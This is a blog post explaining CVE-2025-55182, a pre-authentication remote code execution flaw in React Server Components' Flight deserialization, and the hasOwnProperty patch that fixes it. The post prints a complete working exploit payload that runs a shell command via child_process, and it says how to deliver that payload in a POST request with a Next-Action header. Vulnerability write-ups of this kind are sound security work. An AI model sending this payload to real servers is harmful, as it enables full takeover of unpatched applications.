DEV Community

Kavishcan Veerasaravanan
Kavishcan Veerasaravanan

Posted on

CVE-2025–55182 Explained

Credits: https://github.com/msanft/CVE-2025-55182 & https://x.com/rauchg/status/1997362942929440937

The Core Problem: Trusting Untrustworthy Data

React Server Components have a feature where the client (your browser) can send data back to the server. The vulnerability exists because React was deserializing this data without properly checking if it’s safe.

What is Deserialization?

Think of it like this:

  • Serialization = packing data into a format for transport (like putting items in a box to ship)
  • Deserialization = unpacking that data on the other end (opening the box)

The problem is: what if someone puts a bomb in the box instead of your package?

How the Attack Works

  1. Attacker sends a malicious HTTP request to your React Server Components application
  2. The request contains specially crafted data disguised as normal RSC payload
  3. The server unpacks (deserializes) this data without validating it’s safe
  4. Hidden inside this data are instructions to execute code on the server
  5. The server runs this code, giving the attacker complete control

Let me break down this vulnerability using the actual React code and explain how the exploit chain works:

The Flight Protocol & Chunks

React Server Components use the Flight protocol to serialize data between client and server. Data is sent as “chunks” — pieces that can reference each other:

// Example of how chunks work normally
files = {
    "0": '["$1"]',                                        // Array referencing chunk 1
    "1": '{"object":"fruit","name":"$2:fruitName"}',     // Object with reference to chunk 2
    "2": '{"fruitName":"cherry"}',                       // Actual data
}

// This deserializes to:
{ object: 'fruit', name: 'cherry' }
Enter fullscreen mode Exit fullscreen mode

The $ syntax means "reference another chunk". React resolves these references during deserialization.

The Vulnerability: Missing Property Check

Before the patch, when React resolved chunk references, it didn’t verify if the property actually existed on the object. Here’s the vulnerable code:

// VULNERABLE CODE (pre-patch)
export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = parcelRequire(metadata[ID]);
  return moduleExports[metadata[NAME]];  // NO CHECK IF PROPERTY EXISTS
}
Enter fullscreen mode Exit fullscreen mode

This meant you could access prototype chain properties like __proto__, constructor, etc.

Step 1: Accessing the Function Constructor

An attacker can craft a payload that traverses the prototype chain to reach JavaScript’s Function constructor:

files = {
    "0": '["$1:__proto__:constructor:constructor"]',
    "1": '{"x":1}',
}
Enter fullscreen mode Exit fullscreen mode

Breaking this down:

  • $1 → Get chunk 1 (which is {"x":1})
  • :__proto__ → Access the object's prototype
  • :constructor → Get Object.constructor
  • :constructor → Get Function.constructor (which is the Function constructor itself)

This deserializes to:

[Function: Function]
Enter fullscreen mode Exit fullscreen mode

Step 2: The “Thenable” Trick

React’s code awaits the result of deserialization:

// action-handler.ts (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)
Enter fullscreen mode Exit fullscreen mode

When you await an object that has a .then() method (called a "thenable"), JavaScript automatically calls that method. An attacker can create a chunk that sets .then to the Function constructor:

files = {
    "0": '{"then":"$1:__proto__:constructor:constructor"}',
    "1": '{"x":1}',
}
Enter fullscreen mode Exit fullscreen mode

Now chunk 0 is an object with .then set to Function. When React awaits it, it calls Function(), which tries to create a new function!

Step 3: The Self-Referential Chunk (The Clever Part)

Here’s where it gets really tricky. React has a special syntax $@ that returns the raw chunk object itself, not its resolved value:

// In React's code
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)),
    getChunk(response, obj)  // Returns the Chunk object itself
  );
Enter fullscreen mode Exit fullscreen mode

React’s Chunk objects are thenables - they have a .then() method:

// React's Chunk implementation
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // This processes the chunk
    // ...
  }
}
Enter fullscreen mode Exit fullscreen mode

An attacker creates a self-referential chunk that overwrites its own .then() with Chunk.prototype.then:

files = {
    "0": '{"then": "$1:__proto__:then", "status": "resolved_model"}',
    "1": '"$@0"',  // References the raw chunk 0
}
Enter fullscreen mode Exit fullscreen mode

What happens:

  1. Chunk 0 sets its .then property to Chunk.prototype.then
  2. When React awaits chunk 0, it calls Chunk.prototype.then
  3. Since status is "resolved_model", it calls initializeModelChunk

Step 4: The Second Deserialization Pass

Inside initializeModelChunk, React parses the .value property as JSON again:

function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),  // Parse .value as JSON
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ... resolve references again
}
Enter fullscreen mode Exit fullscreen mode

This gives the attacker a second pass at deserialization with more control, because they can now control the chunk._response object.

Step 5: The RCE Gadget — Blob Handling

React has code for handling blob data with the $B prefix:

case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)  // Calls .get()
  );
Enter fullscreen mode Exit fullscreen mode

The attacker crafts a fake _response object where:

  • _formData points to the Function constructor
  • _prefix contains their malicious code
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',  // Triggers blob handling
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  // Points to Function
        },
    },
}
Enter fullscreen mode Exit fullscreen mode

When the blob code runs:

response._formData.get(response._prefix + "0")
// Becomes:
Function("process.mainModule.require('child_process').execSync('calc');0")
Enter fullscreen mode Exit fullscreen mode

This creates a function containing the attacker’s code, which then gets called automatically because it’s returned as a .then() method that React awaits.

The Complete Exploit

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}
Enter fullscreen mode Exit fullscreen mode

Send this as an HTTP POST request with header Next-Action: foo and the server will execute calc (or any command).

The Complete Patch: All Three Critical Fixes

According to Sebastian Markbage (React core team), there were actually two critical hasOwnProperty checks that were missing. The fix involves three key changes:

Fix #1: Property Traversal in getOutlinedModel() (MOST CRITICAL)

The most critical vulnerability was in the path traversal loop in ReactFlightReplyServer.js:

// VULNERABLE CODE (pre-patch)
function getOutlinedModel(/* ... */) {
  // ... code ...
  const path = ref.split(':');
  for (let i = 1; i < path.length; i++) {
    const name = path[i];
    value = value[name];  // NO CHECK - Can access __proto__, constructor, etc!
  }
  // ... code ...
}
Enter fullscreen mode Exit fullscreen mode

This loop takes references like $1:__proto__:constructor:constructor and blindly traverses the object path, allowing access to prototype chain properties.

THE FIX:

// PATCHED CODE
function getOutlinedModel(/* ... */) {
  // ... code ...
  const path = ref.split(':');
  for (let i = 1; i < path.length; i++) {
    const name = path[i];
    // CRITICAL FIX: Verify property exists on object itself
    if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
      value = value[name];
    } else {
      return undefined;  // Stop traversal if property doesn't exist
    }
  }
  // ... code ...
}
Enter fullscreen mode Exit fullscreen mode

As Sebastian Markbage noted: "These hasOwnProperty checks were the ones that were missing. This is the critical fix. Without it, you can drill into objects not created by the parser itself."


Fix #2: Module Export Access in requireModule() (Important Defense-in-Depth)

In all the React Server DOM packages (webpack, turbopack, parcel, esm), the requireModule function was also vulnerable:

// VULNERABLE CODE (pre-patch)
export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  return moduleExports[metadata[NAME]];  //  access prototype properties
}
Enter fullscreen mode Exit fullscreen mode

THE FIX:

// PATCHED CODE
import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  // Verify the export actually exists on the module
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);  // Return undefined for non-existent exports
}
Enter fullscreen mode Exit fullscreen mode

Sebastian Markbage noted this was "the other one" and added: "The ones on the module is not that critical but good to have" — meaning it's defense-in-depth, not the primary vulnerability.


Fix #3: Error Handling in decodeReplyFromBusboy()

The fix also adds proper error handling to prevent exploitation attempts from crashing the server in a way that might leak information:

// Field handling - wrapped in try-catch
busboyStream.on('field', (name, value) => {
  if (pendingFiles > 0) {
    queuedFields.push(name, value);
  } else {
    try {
      resolveField(response, name, value);
    } catch (error) {
      busboyStream.destroy(error);  // Safely destroy stream on error
    }
  }
});

// File completion handling - wrapped in try-catch
value.on('end', () => {
  try {
    resolveFileComplete(response, name, file);
    pendingFiles--;
    if (pendingFiles === 0) {
      for (let i = 0; i < queuedFields.length; i += 2) {
        resolveField(response, queuedFields[i], queuedFields[i + 1]);
      }
      queuedFields.length = 0;
    }
  } catch (error) {
    busboyStream.destroy(error);  // Safely handle errors during file processing
  }
});
Enter fullscreen mode Exit fullscreen mode

Why The Fix Works: Breaking the Exploit Chain

The exploit chain required all of these steps to work:

  1. Access __proto__ via path traversal → BLOCKED by Fix #1
  2. Traverse to Chunk.prototype.thenBLOCKED by Fix #1
  3. Create self-referential chunk → Still possible, but useless without step 1-2
  4. Trigger double deserialization → Still possible, but controlled data is now safe
  5. Access Function constructor → BLOCKED by Fix #1 and #2

By adding hasOwnProperty checks at the critical points, the entire exploit chain collapses. The key insight is that this single missing check allows $1:__proto__:then to traverse from a chunk object, up the prototype chain, to Chunk.prototype.then — and the fix prevents exactly that.


Why This is So Bad

  1. Works before authentication — happens during deserialization
  2. No user interaction needed — just send one HTTP request
  3. Default configurations vulnerable — no developer mistakes required
  4. Nearly 100% reliable — not a timing or race condition
  5. Complete RCE — attacker gets full server access

This vulnerability is a masterclass in exploit chaining — taking multiple small weaknesses (prototype access, thenable handling, self-references, double deserialization) and combining them into complete remote code execution.

Top comments (0)